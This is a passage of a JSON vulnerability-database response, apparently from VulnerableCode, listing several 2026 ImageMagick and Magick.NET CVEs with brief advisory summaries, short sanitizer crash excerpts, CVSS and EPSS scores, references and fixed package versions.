eference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/257200cb21de23404dce5f8261871845d425dee5","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/257200cb21de23404dce5f8261871845d425dee5"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwqw-2x5x-w566","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:04:31Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwqw-2x5x-w566"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25983","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25983"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442113","reference_id":"2442113","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442113"},{"reference_url":"https://github.com/advisories/GHSA-fwqw-2x5x-w566","reference_id":"GHSA-fwqw-2x5x-w566","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-fwqw-2x5x-w566"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25983","GHSA-fwqw-2x5x-w566"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-cbqr-aybx-d3e6"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22606?format=json","vulnerability_id":"VCID-cuhw-ew1g-s3h2","summary":"ImageMagick has Heap Use-After-Free in ImageMagick MSL decoder\nA heap use-after-free vulnerability in ImageMagick's MSL decoder allows an attacker to trigger access to freed memory by crafting an MSL file.\n\n```\n=================================================================\n==1500633==ERROR: AddressSanitizer: heap-use-after-free on address 0x527000011550 at pc 0x5612583fa212 bp 0x7ffedb86d160 sp 0x7ffedb86d150\nREAD of size 8 at 0x527000011550 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28687.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28687.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28687","reference_id":"","reference_type":"","scores":[{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.16984","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.16896","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.17114","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.17042","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00054","scoring_system":"epss","scoring_elements":"0.17059","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18472","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18246","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18288","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18302","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18402","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18377","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18365","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.1852","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00059","scoring_system":"epss","scoring_elements":"0.18421","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28687"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28687","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28687"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fpvf-frm6-625q","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-10T16:01:50Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fpvf-frm6-625q"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28687","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28687"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445897","reference_id":"2445897","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445897"},{"reference_url":"https://github.com/advisories/GHSA-fpvf-frm6-625q","reference_id":"GHSA-fpvf-frm6-625q","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-fpvf-frm6-625q"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28687","GHSA-fpvf-frm6-625q"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-cuhw-ew1g-s3h2"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20981?format=json","vulnerability_id":"VCID-d8yf-8rff-3yhf","summary":"ImageMagick has a possible infinite loop in its JPEG encoder when using `jpeg:extent`\nA `continue` statement in the JPEG extent binary search loop in the jpeg encoder causes an infinite loop when writing persistently fails. An attacker can trigger a 100% CPU consumption and process hang (Denial of Service) with a crafted image.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26283.json","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26283.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26283","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05183","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04976","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05003","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05024","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05057","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05072","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05051","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05033","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05016","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04956","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.04966","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05114","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05139","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0518","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26283"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26283","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26283"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/c448c6920a985872072fc7be6034f678c087de9b","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/c448c6920a985872072fc7be6034f678c087de9b"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gwr3-x37h-h84v","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-24T20:47:27Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gwr3-x37h-h84v"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26283","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26283"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442140","reference_id":"2442140","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442140"},{"reference_url":"https://github.com/advisories/GHSA-gwr3-x37h-h84v","reference_id":"GHSA-gwr3-x37h-h84v","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gwr3-x37h-h84v"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-26283","GHSA-gwr3-x37h-h84v"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-d8yf-8rff-3yhf"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24995?format=json","vulnerability_id":"VCID-dabd-m3mf-3ker","summary":"ImageMagick has Heap Buffer Over-Read in BilateralBlurImage\nBilateralBlurImage contains a heap buffer over-read caused by an incorrect conversion. When processing a crafted image with the `-bilateral-blur` operation an out of bounds read can occur.\n\n```\n=================================================================\n==676172==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a0000079c0 at pc 0x57b483c722f7 bp 0x7fffc0acd380 sp 0x7fffc0acd370\nREAD of size 4 at 0x50a0000079c0 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30935.json","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30935.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30935","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02421","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02416","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02417","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02441","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02407","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02954","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03084","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03039","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03051","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03052","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02931","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02921","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02977","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02945","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30935"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cqw9-w2m7-r2m2","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:50:49Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cqw9-w2m7-r2m2"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30935","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30935"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445899","reference_id":"2445899","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445899"},{"reference_url":"https://github.com/advisories/GHSA-cqw9-w2m7-r2m2","reference_id":"GHSA-cqw9-w2m7-r2m2","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-cqw9-w2m7-r2m2"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-30935","GHSA-cqw9-w2m7-r2m2"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-dabd-m3mf-3ker"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22188?format=json","vulnerability_id":"VCID-dtza-65ku-aber","summary":"ImageMagick has NULL pointer dereference in ReadSFWImage after DestroyImageInfo (sfw.c)\nIn `ReadSFWImage()` (`coders/sfw.c`), when temporary file creation fails, `read_info` is destroyed before its `filename` member is accessed, causing a NULL pointer dereference and crash.\n\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==1414421==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x56260222912f bp 0x7ffec0a193b0 sp 0x7ffec0a19360 T0)\n    #0 0x56260222912f  (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x235f12f)\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25795.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25795.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25795","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05197","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05185","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05199","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05216","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05248","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05177","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05229","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05363","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05364","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05323","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05285","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05133","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0513","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00061","scoring_system":"epss","scoring_elements":"0.19112","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25795"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25795","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25795"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/55c344f4b514213642da41194bab57b4476fb9f5","reference_id":"","referenc